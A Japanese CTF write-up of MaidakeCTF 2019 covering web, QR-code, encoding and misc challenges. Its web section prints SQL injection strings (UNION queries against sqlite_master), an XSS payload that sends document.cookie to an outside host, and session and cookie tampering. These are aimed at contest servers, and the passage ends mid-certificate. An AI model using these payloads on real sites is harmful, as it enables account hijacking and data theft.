ひとりチーム st98 で MaidakeCTF 2019 に参加しました。最終的に 58 問を解いて 14610 点を獲得し、順位は 1 点以上を獲得した 87 人中 3 位でした。
以下、解いた問題の write-up です。
いやいや、勘弁してくださいよ。真っ白じゃないですか。
(URL)
与えられた URL にアクセスすると…何も表示されません。右クリックすると「おっと、右クリックはさせませんよ?」というメッセージが表示されることから、ソースにフラグがあるのでしょう。URL の頭に view-source:
を追加してソースを確認するとフラグが得られました。
︙
<section class="bs-docs-section clearfix">
<div class="row">
<div class="col-12">
<div style="font-size: 2rem;" class="text-center">
<p>MaidakeCTF{White_strings_can_be_seen_by_reversing}</p>
</div>
</div>
</div>
</section>
︙
MaidakeCTF{White_strings_can_be_seen_by_reversing}
あなたはこれを素直に解きますか?
(URL)
与えられた URL にアクセスすると、2048 のゲーム画面が表示されました。ソースで MaidakeCTF{
を検索すると、ゲームの終了時にフラグを表示する処理が見つかりました。
︙
if(isOver) {
name = window.prompt("お疲れ様でした!\nMaidakeCTF{Do_not_be_fooled_by_the_look}\n\nランキングに参加できます。\nユーザー名を入力してください。\n※参加しない場合は何も入力せずにOKを押してください。", "");
if (name != '') {
$.post('ranking.php', {'name': name, 'score': score, 'max': max_num.textContent}).done(function(data) {
document.getElementById("ranking").innerHTML = data;
});
}
name = '';
}
︙
MaidakeCTF{Do_not_be_fooled_by_the_look}
焼き菓子は好きですか?
(URL)
与えられた URL にアクセスすると、背景がクッキーの画像になっているページが表示されました。Cookie を確認すると、flag=MaidakeCTF%7BBeware_of_cookie_theft%7D
がセットされていました。
MaidakeCTF{Beware_of_cookie_theft}
頭隠して尻隠さず。
(URL)
与えられた URL にアクセスすると、The flag is indeed there.
と表示されました。このページの HTML とこれまでの Web 問の HTML と比較してみると、head
に <link rel="stylesheet" href="css/style.css">
が追加されているのが分かります。css/style.css
にアクセスするとフラグが得られました。
MaidakeCTF{I_am_getting_tired_of_thinking_about_flags}
いつものやつですが、もしかすると少し違うかもしれません。
(URL)
与えられた URL にアクセスすると、次のようなログインフォームが表示されました。
<section class="bs-docs-section clearfix">
<div class="row">
<div class="col-12">
<form method="post">
<div class="form-group">
<input type="text" class="form-control mb-2 w-75 mx-auto" name="id" placeholder="ID" required />
<input type="password" class="form-control mb-2 w-75 mx-auto" name="pass" placeholder="パスワード" required />
</div>
<p class="text-center"><button type="submit" class="w-50 py-2 mt-2" name="login">ログイン</button></p>
</form>
</div>
</div>
</section>
ログインフォームと聞いてまず試すのは SQLi です。ID に ' or 1;#
を入力するとフラグが得られました。
MaidakeCTF{Speaking_of_SQL_injection_is_this}
XSSのデモページを作ってみました。
別にアラートじゃなくても大丈夫です!
お好きな攻撃をどうぞ!!(URL)
与えられた URL にアクセスすると、次のようなフォームが表示されました。
<section class="bs-docs-section clearfix">
<div class="row">
<div class="col-12">
<p class="text-center mb-5">なんでもいいのでXSSしてください。</p>
<form method="get">
<input type="text" class="form-control mb-2 w-75 mx-auto" name="attack" placeholder="" required />
<p class="text-center"><button type="submit" class="w-50 py-2 mt-2">攻撃</button></p>
</form>
<p class="text-center">攻撃内容:
<span id="a_text">
</span>
</p>
</div>
</div>
</section>
とりあえず <script></script>
を入力してみると、フラグが表示されました。
MaidakeCTF{Escape_is_a_simple_but_important_process}
あなたはどのブラウザがお気に入りですか?
(URL)
与えられた URL にアクセスすると、次のような PHP コードの断片が表示されました。
$agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($agent, 'Milvas') !== false) {
echo 'FLAG is here';
} else {
echo 'Access Denied';
}
ユーザーエージェントに Milvas
が入っていればフラグが表示されるようです。curl (URL) -A Milvas
を実行するとフラグが得られました。
$ curl (URL) -A Milvas
︙
<p class="text-center mt-5">
MaidakeCTF{Impersonating_user_agents_is_so_easy} </p>
︙
MaidakeCTF{Impersonating_user_agents_is_so_easy}
すみません、フォームを作り忘れてしまいました。
(URL)
与えられた URL にアクセスすると、次のような PHP コードの断片が表示されました。
if (isset($_POST['oluri'])) {
if ($_POST['oluri'] === 'so_cute') {
echo 'Flag is here';
} else {
echo 'Do you know Oluri?';
}
} else {
echo 'Access Denied';
}
curl (URL) -d oluri=so_cute
を実行するとフラグが得られました。
$ curl (URL) -d oluri=so_cute
︙
<p class="text-center mt-5">
MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form} </p>
︙
MaidakeCTF{If_the_configuration_of_the_website_is_bad_you_can_POST_without_the_form}
このままだとハイジャックされてしまいます!!
(URL)
与えられた URL にアクセスすると Access denied
と表示されました。HTML を見ると、次のようなコメントが DOCTYPE 宣言の前に挿入されていました。
<!-- 8b24jmfhfhssgig2q9n7ockjl7 -->
PHP のセッション ID っぽい文字列です。Cookie の PHPSESSID
にこれをセットしてリロードするとフラグが表示されました。
MaidakeCTF{Session_management_must_be_done_with_care}
艦娘のMD5を検索できるサイトを作ってみました!
(URL)
ヒント: sqlite3を使用しています
与えられた URL にアクセスすると、次のような検索フォームが表示されました。
<section class="bs-docs-section clearfix">
<div class="row">
<div class="col-xl-12">
<form method="post">
<div class="form-group">
<input type="text" class="form-control mb-2 w-75 mx-auto" name="name" placeholder="ex) 榛名" required />
</div>
<p class="text-center"><button type="submit" class="w-50 py-2 my-2" name="search">検索</button></p>
</form>
</div>
</div>
</section>
試しに %
で検索してみると、以下のようなテーブルが表示されました。
図鑑No. | 艦名 | 艦種 | 次改造レベル | MD5 |
---|---|---|---|---|
001 | 長門 | 戦艦 | 30 | a8529a1bdc2a7f517cffa2f0ed191d39 |
001b | 長門改 | 戦艦 | 88 | 7383436fa5b81c024ad33f053f856b6c |
︙ | ︙ | ︙ | ︙ | ︙ |
恐らく LIKE
句にユーザ入力を突っ込んでいるのでしょう。SQLi ができると考えて ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;#
を入力してみると、以下のようなテーブルが表示されました。
図鑑No. | 艦名 | 艦種 | 次改造レベル | MD5 |
---|---|---|---|---|
1 | 3 | 4 | 5 | 11 |
これを利用して存在しているテーブルの一覧を手に入れましょう。ヒントから SQLite が使われていることがわかっているので、sqlite_master
テーブルの sql
カラムを抽出します。' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;#
を入力すると、以下のようなテーブルが表示されました。
図鑑No. | 艦名 | 艦種 | 次改造レベル | MD5 |
---|---|---|---|---|
CREATE TABLE flag( this_is_flag ) | 3 | 4 | 5 | 11 |
CREATE TABLE ship( num TEXT, romaji TEXT, name TEXT, type TEXT, level TEXT, item TEXT, equipment1 TEXT, equipment2 TEXT, equipment3 TEXT, equipment4 TEXT, md5 TEXT ) | 3 | 4 | 5 | 11 |
flag
テーブルにフラグがありそうです。' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#
を入力すると、以下のようなテーブルが表示されました。
図鑑No. | 艦名 | 艦種 | 次改造レベル | MD5 |
---|---|---|---|---|
MaidakeCTF{Use_question_mark_placeholders_when_calling_SQL} | 3 | 4 | 5 | 11 |
フラグが得られました。
MaidakeCTF{Use_question_mark_placeholders_when_calling_SQL}
俳句はお好きですか?
(URL)
与えられた URL にアクセスすると、登録/ログインフォームが表示されました。とりあえず適当にアカウントを作ってログインすると、俳句を入力できるフォームが表示されました。俳句の採点もできるようで、依頼すると管理者のブラウザでの巡回が来そうです。
<s>neko</s>
という俳句を投稿してみると、斜線の入った neko
が表示されました。XSS できるようです。とりあえず管理者の Cookie が抜けないか試してみましょう。<script>(new Image).src='http://(URL)/?'+document.cookie</script>
という俳句を投稿して採点してもらうと、GET /?flag=MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
という HTTP リクエストが来ました。
MaidakeCTF{If_you_do_not_escape_properly_cookies_can_be_easily_stolen}
ちょっと!
これゴールにたどり着けないんだけど!!(# ゚Д゚)(URL)
与えられた URL にアクセスすると、迷路が表示されました。問題文から、もしゴールできればフラグが手に入れられそうな雰囲気があります。ソースコードのゴール時の処理を確認しましょう。
︙
function goal() {
sg();
if (x == 32 && y == 29) {
$.post('result.php').done(function(data) {
alert(data);
});
}
}
︙
result.php
にアクセスするとフラグが表示されました。
MaidakeCTF{If_you_implement_it_poorly_another_file_may_be_screwed_in}
QRコードを洗濯したら読めなくなってしまいました。
添付ファイル: problem.png
次のような画像が与えられました。
QR コードのようですが、3 つの隅にあるはずの位置検出パターンがありません。適当な画像編集ソフトで位置検出パターンを追加すると QR コードとして読むことができました。
$ zbarimg solved.png
QR-Code:MaidakeCTF{restoring_qr_code_corners_is_easy}
scanned 1 barcode symbols from 1 images
MaidakeCTF{restoring_qr_code_corners_is_easy}
これは一体何でしょうか。どこか見覚えがあるような気がします。
添付ファイル: flag.csv
flag.csv
は以下のような内容でした。
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,1,0
0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0
0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,1,1,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,1,1,1,0,1,0
0,1,0,1,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,1,1,0,1,1,0,1,0,1,1,0,0,1,0,1,0,1,0,1,0,1,1,1,0,1,0
0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,0,1,0
0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,0
0,1,1,1,1,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0
0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0
︙
カテゴリからこれが QR コードを意味することはわかっています。0
は白、1
は黒として画像にしてみましょう。
from PIL import Image
with open('flag.csv') as f:
s = f.readlines()
w, h = len(s), len(s)
im = Image.new('RGB', (w, h))
pix = im.load()
for y in range(h):
line = s[y].split(',')
for x in range(w):
pix[x, y] = (0, 0, 0) if line[x] == '1' else (255, 255, 255)
im.resize((w * 10, h * 10)).save('res.png')
これを読み込むとフラグが得られました。
MaidakeCTF{qr_codes_can_be_represented_as_0_and_1_but_it_is_hard_to_enter_them_manually.}
ちょっと気持ち悪い画像ですね。
添付ファイル: flag.png
次のような画像が与えられました。
stegsolve.jar で RGB の赤色だけ/緑色だけ/青色だけを抽出すると、次のように 3 つの QR コードが出てきました。
RGB の順番で読み取るとフラグが得られました。
$ zbarimg red.png green.png blue.png
QR-Code:First:MaidakeCTF{
QR-Code:Second:Images_can_be_
QR-Code:Third:represented_in_RGB}
scanned 3 barcode symbols from 3 images
MaidakeCTF{Images_can_be_represented_in_RGB}
元祖は強い。
添付ファイル: flag.jpg
普通の写真かと思いきや、以下のようにモニタに QR コードが映し出されている画像が与えられました。
以下のように雑にテキストに直し、
XXXXXXX_X_____XXXXX____X__XXXXXXX
X_____X__X_XX____X_XX_X___X_____X
X_XXX_X__X_X_X_X_____XX_X_X_XXX_X
X_XXX_X_XXXX__X__XXXX___X_X_XXX_X
X_XXX_X_X_XXXXX___XXX__X__X_XXX_X
X_____X_X____X__X__X_X____X_____X
XXXXXXX_X_X_X_X_X_X_X_X_X_XXXXXXX
________X__XX_XXXXX__X_XX________
X___X_XXXXXXX____X_XXXX_XXXXXX__X
XXX_X__X____XXXXX_X____X_XXX__X_X
XXX_X_X___XXX__X_X__XX_X_XX_X__X_
_XXXX___XX_X__X__XXXXX_XXXX_X__X_
_X__X_X__XX__XXX__XXXX?X__XX____X
_XXX___X_XXX_X__XX_X_XX??????????
XX_X_XXX___XX_X_X_XX__X??????????
X__X_X_XX_XX_XX__X_XXXX??????????
X_XX_XXXX_X_X_XXX_____X??????????
X_X__X__X_X__X__XX____X??????????
X__X__X_XXXXXX_X__X_X_X??????????
__X_XX_XXXX_XX_X___XXXX??????????
_X___XXXX_X__X__X____XX??????????
X_XX_X_XXXXX_XX__XXXXXX??????????
__X_XXX___XXXXXX__X_X__??????????
____XX__X___X__XXXX__X_??????????
XXXX__X__X______XX_X_XX??????????
________X___X__XX__X_X_??????????
XXXXXXX_X___X_XX_X___X_??????????
X_____X___XX__X__XX_XX_??????????
X_XXX_X_XX__XX_X__XXX__??????????
X_XXX_X____XX_X_XX_X_X_??????????
X_XXX_X__X__XXX_XX_X_XX??????????
X_____X____XX_X__XXXXX_??????????
XXXXXXX_XXX_X_XX_X___XX??????????
デコードするとフラグが得られました。
MaidakeCTF{Lock_it_when_you_leave_your_computer}
私はスライドパズルが苦手です。
(URL)
与えられた URL にアクセスすると、次のような QR コードの 8 パズルが表示されました。
右下に空白が来ている状態で送信ボタンを押すと、最後のピースが空白部分に表示されます。左上、右上、左下に位置検出パターンが、右下にアライメントパターンが来ることを考えると、残りの 5 つのピースは総当たりで QR コードとして読めるパターンを探せば十分そうです。
全てのピースをダウンロードし、総当たりするスクリプトを書きます。
import itertools
from PIL import Image
images = []
for i in range(1, 10):
images.append(Image.open('puzzle/{}.png'.format(i)))
"""
3?5
???
7?9
"""
for i, x in enumerate(itertools.permutations([1, 2, 4, 6, 8], 5)):
p = (3, x[0], 5) + x[1:4] + (7, x[4], 9)
im = Image.new('RGB', (330, 330))
for j, k in enumerate(p):
im.paste(images[k - 1], (110 * (j % 3), 110 * (j // 3)))
im.save('result/{}.png'.format(i))
print('done')
$ python solve.py
done
zbarimg result/*.png
で片っ端から読んでいくとフラグが得られました。
$ zbarimg result/*.png
QR-Code:MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}
scanned 1 barcode symbols from 120 images
MaidakeCTF{QR_code_slide_puzzles_are_very_very_difficult}
自力で解くのはこれぐらいが限界かもしれません(ストレス的な問題で)。
(URL)
QR Puzzle が 15 パズルになりました。
適当なピースを見ていくと、
ことが分かります。
これを利用して、上下左右の端に来るピースの位置だけ考えて、真ん中の 4 ピースは先程と同様に総当たりで QR コードとして読めるパターンを探しましょう。
import itertools
from PIL import Image
images = []
for i in range(1, 17):
images.append(Image.open('puzzle/{}.png'.format(i)))
"""
11 1 15 12
8 ?? ?? 6
7 ?? ?? 2
4 14 3 16
"""
for i, x in enumerate(itertools.permutations([9, 10, 13, 5], 4)):
p = (11, 1, 15, 12, 8) + x[:2] + (6, 7) + x[2:] + (2, 4, 14, 3, 16)
im = Image.new('RGB', (117 * 4, 117 * 4))
for j, k in enumerate(p):
im.paste(images[k - 1], (117 * (j % 4), 117 * (j // 4)))
im.save('result/{}.png'.format(i))
print('done')
$ python solve.py
done
$ zbarimg result/*.png
QR-Code:MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}
フラグが得られました。
MaidakeCTF{It_becomes_more_difficult_when_it_comes_to_16_slide_puzzles}
最後の刺客が現れました。
しかし私はもう限界です。
そうだ、援軍を呼ぼう。(URL)
QR Puzzle が更にパワーアップし、24 パズルになりました。
やることは QR Puzzle 2nd と変わりません。むしろ、QR コードが巨大になったことでアライメントパターンが増えて楽になっています。総当たりが現実的になる程度までピースの位置を自分で推測し、同様に総当たりで QR コードとして読めるパターンを探しましょう。
import itertools
from PIL import Image
images = []
for i in range(1, 26):
images.append(Image.open('puzzle/{}.png'.format(i)))
"""
22 7 19 20 12
13 16 23 11 10
6 ?? 15 ?? 18
14 ?? ?? ?? 21
17 4 3 24 25
"""
for i, x in enumerate(itertools.permutations([1, 2, 5, 8, 9], 5)):
p = (22, 7, 19, 20, 12, 13, 16, 23, 11, 10, 6, x[0], 15, x[1], 18, 14) + x[2:] + (21, 17, 4, 3, 24, 25)
im = Image.new('RGB', (122 * 5, 122 * 5))
for j, k in enumerate(p):
im.paste(images[k - 1], (122 * (j % 5), 122 * (j // 5)))
im.save('result/{}.png'.format(i))
print('done')
$ python solve.py
done
$ zbarimg result/*.png
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
QR-Code:MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
︙
フラグが得られました。
MaidakeCTF{It_can_no_longer_be_solved_manually_so_we_should_rely_on_machine_power}
裏ボスがいるのはお約束です。
3×3なのでサクッと倒してしましましょう!(URL)
最初の QR Puzzle と同じような 8 パズルが表示されました。手で解いて zbarimg
で読み取ってみましょう。
$ zbarimg qr.png
QR-Code:4910b4bb34215367afd5e281954b1f6d
scanned 1 barcode symbols from 1 images
ハッシュ値っぽい文字列が表示されました🤔 MD5 ハッシュと考えて John the Ripper に投げてみましたが、適当な辞書を使ってもこのハッシュ値になる文字列が出てきません。
まさかと思い /4910b4bb34215367afd5e281954b1f6d/
にアクセスしてみると、さっきのものとは別の 8 パズルが表示されました。どうやら 8 パズルを解き続ける必要があるようです。
手で解くのも面倒なので自動化する方法を考えます。いろいろ調べていると、どのパズルもピースとなる 1.png
から 9.png
まで以下のような順番で並べるのが正解となることがわかりました。
123
456
789
あとはやるだけです。ピースのダウンロードから並び替え、QR コードの読み取りまで自動でやってくれる Python スクリプトを書きましょう。
import re
import requests
import subprocess
from PIL import Image
URL = 'http://(省略)/'
curr = ''
while True:
print(curr)
images = []
for i in range(1, 10):
with open('puzzle/{}.png'.format(i), 'wb') as f:
f.write(requests.get(URL + curr + '/puzzle/' + str(i) + '.png').content)
images.append(Image.open('puzzle/{}.png'.format(i)))
im = Image.new('RGB', (330, 330))
for i in range(9):
im.paste(images[i], (110 * (i % 3), 110 * (i // 3)))
im.save('tmp.png')
r = subprocess.check_output(['zbarimg', 'tmp.png'])
print(r)
curr = re.findall(rb'QR-Code:(.{32})', r)[0].decode()
実行します。
$ python solve.py
b'QR-Code:4910b4bb34215367afd5e281954b1f6d\r\n'
4910b4bb34215367afd5e281954b1f6d
scanned 1 barcode symbols from 1 images
b'QR-Code:8abff30cf8f357c013f89f4ef75a917d\r\n'
8abff30cf8f357c013f89f4ef75a917d
scanned 1 barcode symbols from 1 images
b'QR-Code:ecc2c912df78207581af9fd0f26cf7e9\r\n'
ecc2c912df78207581af9fd0f26cf7e9
scanned 1 barcode symbols from 1 images
︙
b"QR-Code:MaidakeCTF{I_don't_know_why_I_made_many_QR_code_problem}\r\n"
フラグが得られました。
MaidakeCTF{I_don't_know_why_I_made_many_QR_code_problem}
ようこそMaidakeCTFへ。楽しんでいってください。
flagはMaidakeCTF{Maidake_mountain_villa_is_rich_in_nature_and_the_best}
です。
MaidakeCTF{Maidake_mountain_villa_is_rich_in_nature_and_the_best}
見覚えのある数字ですね。
添付ファイル: flag
flag
は以下のような内容でした。
4d 61 69 64 61 6b 65 43 54 46 7b 48 65 78 61 64 65 63 69 6d 61 6c 5f 6e 75 6d 62 65 72 73 5f 61 72 65 5f 66 72 65 71 75 65 6e 74 6c 79 5f 75 73 65 64 5f 69 6e 5f 74 68 69 73 5f 69 6e 64 75 73 74 72 79 7d
hex として読みましょう。
$ python2
>>> print open('flag').read().replace(' ', '').decode('hex')
MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}
フラグが得られました。
MaidakeCTF{Hexadecimal_numbers_are_frequently_used_in_this_industry}
いつも見ている線よりも強そうな気がします。
(URL)
与えられた URL にアクセスすると、次のようなバーコードが表示されました。
zbarimg
に投げるとフラグが得られました。
$ zbarimg code.png
CODE-128:MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}
scanned 1 barcode symbols from 1 images
MaidakeCTF{We_can_use_alphanumeric_symbols_in_code128}
Turtle speed
(URL)
与えられた URL にアクセスすると、激遅な marquee
でモールス信号が流れてきました。待つのは面倒なので、別の方法を探しましょう。ソースを見ると、次のような HTML でこれが実現されていることが分かりました。
︙
<marquee bgcolor="#FFF" scrollamount="1"><font color="#000">ーー ・ー ・・ ー・・ ・ー ー・ー ・ ー・ー・ ー ・・ー・ ー・ーー・ ・ーー・ ・ ーーー ・ーー・ ・ー・・ ・ ・・ーー・ー ・ーー ・・・・ ーーー ・・ーー・ー ー・ー・ ・ー ー・ ・・ーー・ー ・・ー ー・ ー・・ ・ ・ー・ ・・・ ー ・ー ー・ ー・・ ・・ーー・ー ーー ーーー ・ー・ ・・・ ・ ・・ーー・ー ー・ー・ ーーー ー・・ ・ ・・ーー・ー ・ーーー ・・ー ・・・ ー ・・ーー・ー ー・・・ ー・ーー ・・ーー・ー ・・・ ーーー ・・ー ー・ ー・・ ・・ーー・ー ・ー ・ー・ ・ ・・ーー・ー ・ー ーー ・ー ーー・・ ・・ ー・ ーー・ ー・ーー・ー</font></marquee>
︙
'…'.replace(/./g, c => ({' ': ' ', 'ー': '-', '・': '.'}[c]))
で ASCII の範囲内に変換し、適当なツールでデコードするとフラグが得られました。
MaidakeCTF{PEOPLE_WHO_CAN_UNDERSTAND_MORSE_CODE_JUST_BY_SOUND_ARE_AMAZING}
この猫は何だかムカつく顔をしています。
添付ファイル: problem.sb3
sb3
という拡張子でググってみると、これは Scratch のプロジェクトであるとわかりました。Scratch Desktop でこれを開くと、次のようなプログラムが表示されました。
表示される hex を書きとめ、デコードするとフラグが得られました。
MaidakeCTF{I_want_to_keep_cat}
速過ぎて読めません。
添付ファイル: flag.gif
与えられた GIF を開いてみると、凄まじい速さで 1 文字ずつフラグが表示されました。stegsolve.jar を使って各フレームを確認するとフラグが得られました。
MaidakeCTF{gif_has_more_than_one_picture_concatenated}
あなたは何連勝することができますか?
(URL)
与えられた URL にアクセスすると、「グー」「チョキ」「パー」の 3 つのボタンが表示されました。どうすればフラグが表示されるかソースを確認してみると、次のような処理が見つかりました。
// 連勝数が1000を越えたらflagをゲット
if (victory >= 1000) {
$.post('flag.php', victory).done(function(data) {
document.getElementById("flag").innerHTML = data;
});
} else {
document.getElementById("flag").innerHTML = "<font style=\"font-size: 2rem; color: #FF0000;\">"+victory+"</font>連勝中です。";
}
curl (省略)/flag.php -d 1000
で終わり…かと思いきや、残念!直接見に来ても無駄ですよ~
と怒られてしまいました。
victory
がどこから来たか、その前の処理をチェックします。
var victory = parseInt(document.cookie.split("=")[1]);
なるほど、連勝数は Cookie に保存されているようです。先程のコマンドに -b victory=1000
というオプションを追加するとフラグが得られました。
MaidakeCTF{button_mashing_is_not_the_right_solution}
通常MD5の特定は困難ですが、どこかに答えがあるでしょう。
nc (省略)
ヒント: Kancolle Engineにヒント(答え)があります。
与えられた接続情報を使って問題サーバに接続してみましょう。
$ nc (省略)
What is this MD5?
8c42fb899171a808c51a2ac7315c18c3
>>
与えられたハッシュ値になるような文字列を与えればよいようですが、適当な辞書で John the Ripper を走らせてみても見つかりません。ヒントの通り Kancolle Engine で %
を入力して 8c42fb899171a808c51a2ac7315c18c3
を検索してみると、これは 伊401
を UTF-8 でエンコードしたバイト列の MD5 ハッシュであることがわかりました。
まず、Kancolle Engine のデータを扱いやすいように JSON 形式にしましょう。
{
let table = {};
Array.from(document.getElementsByTagName('tr')).slice(1).forEach(line => {
let tds = Array.from(line.children);
table[tds[4].textContent] = tds[1].textContent;
});
let json = JSON.stringify(table);
console.log(json.replace(/[^\x20-\x7e]/g, c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0')));
}
これを Kancolle Engine 上で実行した結果を table.json
として保存します。続いて、与えられたハッシュ値に対応する文字列を自動で送信する Python スクリプトを書きます。
import json
from pwn import *
with open('table.json', 'rb') as f:
table = json.load(f)
s = remote('localhost', 12345)
s.readline()
for _ in range(50):
s.readline()
h = s.readline().strip()
s.readuntil('>>')
print h, table[h]
s.sendline(table[h].encode('utf-8'))
s.interactive()
実行しましょう。
$ python2 solve.py
︙
c32d3275efa891fc7d8d4d8f8cdd724f 三日月
9329b6678be766e65032c4e3f63a9540 愛宕
9ecfcff9d008e76e945986f71f50b214 伊504
2f4b70c3ff69667684b6d8842de65880 黒潮
98940568d56e0778a575f51f9ca58e9d 朝風
[*] Switching to interactive mode
Congratulations!
The Flag is MaidakeCTF{CTF_may_hide_hints_for_other_issues}
フラグが得られました。
MaidakeCTF{CTF_may_hide_hints_for_other_issues}
カラフルです。
添付ファイル: flag.csv
flag.csv
は以下のような内容でした。
105,105,113,103,103,111,100,100,108,98,98,106,96,96,104,94,94,102,92,91…
このような内容が 750 行続いています。問題文によるとこれが「カラフル」になるようなので、3 つのフィールドをそれぞれ RGB として解釈して、まとめて 1 ピクセルとして扱いましょう。
from PIL import Image
with open('flag.csv') as f:
s = f.readlines()
w, h = len(s[0].split(',')) // 3, len(s)
im = Image.new('RGB', (w, h))
pix = im.load()
for y in range(h):
line = s[y].split(',')
for x in range(w):
r, g, b = int(line[x * 3]), int(line[x * 3 + 1]), int(line[x * 3 + 2])
pix[x, y] = r, g, b
im.show()
im.save('flag.png')
これを実行すると、以下のように上部にフラグが書かれている画像が出てきました。
MaidakeCTF{Let's_convert_it_to_an_image_if_you_know_that_it_is_an_RGB_value}
夜景が綺麗なところです。
(URL)
与えられた URL にアクセスすると、以下のように特定の座標にいればフラグが表示されるページが表示されました。
︙
function get_location() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(success, error, option);
function success(position){
if ((Math.abs(position.coords.latitude-32.7526235) <= 0.003) && (Math.abs(position.coords.longitude-129.8495163) <= 0.003)) {
$.post('flag.php').done(function(data) {
document.getElementById('result').innerHTML = data;
});
} else {
document.getElementById('result').innerHTML = 'Access denied';
}
}
function error(error){
var errorMessage = {
0: "原因不明のエラーが発生しました。",
1: "位置情報が許可されませんでした。",
2: "位置情報が取得できませんでした。",
3: "タイムアウトしました。",
};
document.getElementById('result').innerHTML = errorMessage[error.code];
}
var option = {"enableHighAccuracy": true, "timeout": 1000, "maximumAge": 1000,};
} else {
alert("現在地を取得できませんでした");
}
}
get_location();
︙
よく見ると、フラグの表示部分は flag.php
に POST して返ってきた内容を #result
に出力するのみで、座標の送信等を行わないどころか、そもそも取得した座標はどこにも保存していないことがわかります。DevTools で以下のようなコードを実行するとフラグが得られました。
$.post('flag.php').done(function(data) {
document.getElementById('result').innerHTML = data;
});
MaidakeCTF{Falsifying_coordinates_is_surprisingly_easy}
世界旅行に行ってきます。
添付ファイル: flag.csv
flag.csv
は以下のような内容でした。
44.8847548,-93.2222825
26.5928022,127.2393831
19.7188342,-155.0416866
25.2531745,55.3656728
61.1758863,-149.9900792
19.736916,-156.0429246
39.9614729,41.1792577
30.1127193,31.3998532
24.6538026,124.6757463
33.5903145,130.4467091
︙
52 個の座標が書かれています。
とりあえず 44.8847548,-93.2222825
でググってみると、これはミネアポリス・セントポール国際空港の座標であることがわかりました。他の座標もほとんどが空港の座標でした。
これらの空港の IATA 空港コードと空港名を並べてみます。
MSP ミネアポリス・セントポール国際空港
AGJ 粟国空港
ITO ヒロ国際空港
DXB ドバイ国際空港
ANC テッド・スティーブンス・アンカレッジ国際空港
KOA コナ国際空港
ERZ エルズルム空港
CAI カイロ国際空港
TRA 多良間空港
FUK 福岡空港
︙
IATA 空港コードの頭文字をつなげると MAIDAKECTF
になります。適当にググって出てきた、空港の座標や IATA 空港コード等がまとめられた JSON ファイルの JSON data for airports and their locations を利用して雑にデコードしましょう。
import json
with open('airports.json', 'rb') as f:
table = json.load(f)
with open('flag.csv', 'rb') as f:
encrypted = [[float(x) for x in line.decode('utf-8').split(',')] for line in f.readlines()]
res = ''
for lat, lon in encrypted:
for airport in table:
if abs(lat - float(airport['lat'])) < 0.03 and abs(lon - float(airport['lon'])) < 0.03:
res += airport['code'][0]
break
else:
res += '?'
print(res)
$ python solve.py
M?IDAKEC?F?THE?AIRPO?TS?A???ASSIGNED?A?A?RPORT?C?DE?
利用している JSON にデータがない等の理由で数文字がわかりませんが、この程度なら (この CTF では恐らくフラグに leet が使われないこともあって) 容易に推測できそうです。
MaidakeCTF{The_airports_are_assigned_a_airport_code}
大事そうな書類を拾いました。
添付ファイル: flag
以下のようなファイルが与えられました。
-----BEGIN CERTIFICATE REQUEST-----
MIIBuDCCASECAQAweDELMAkGA1UEBhMCSlAxEzARBgNVBAgMCk1haWRha2VDVEYx
DTALBgNVBAcMBDIwMTkxRTBDBgNVBAoMPE1haWRha2VDVEZ7QXJlX3lvdV91bmRl
cnN0YW5kaW5nX2hvd190aGVfY2VydGlmaWNhdGVfd29ya3M/fTCBnzANBgkqhkiG
9w0BAQEFAAOBjQAwgYkCgYEApPWQSdFx7yEusqRPwhleIgR4EveuMtir26LOrsZq
e4DBK2RQ3rA2UD+y5J6poao7K9VsDQEu9M+Isw2MNW657MBXamGtKhnauXzjME4l
bZLgCQI9Q//txkGkkfZN+P1i85SgilMgS0dHkw1FNL4t2zfu9L2bNZ7Vy1Kq5UVh
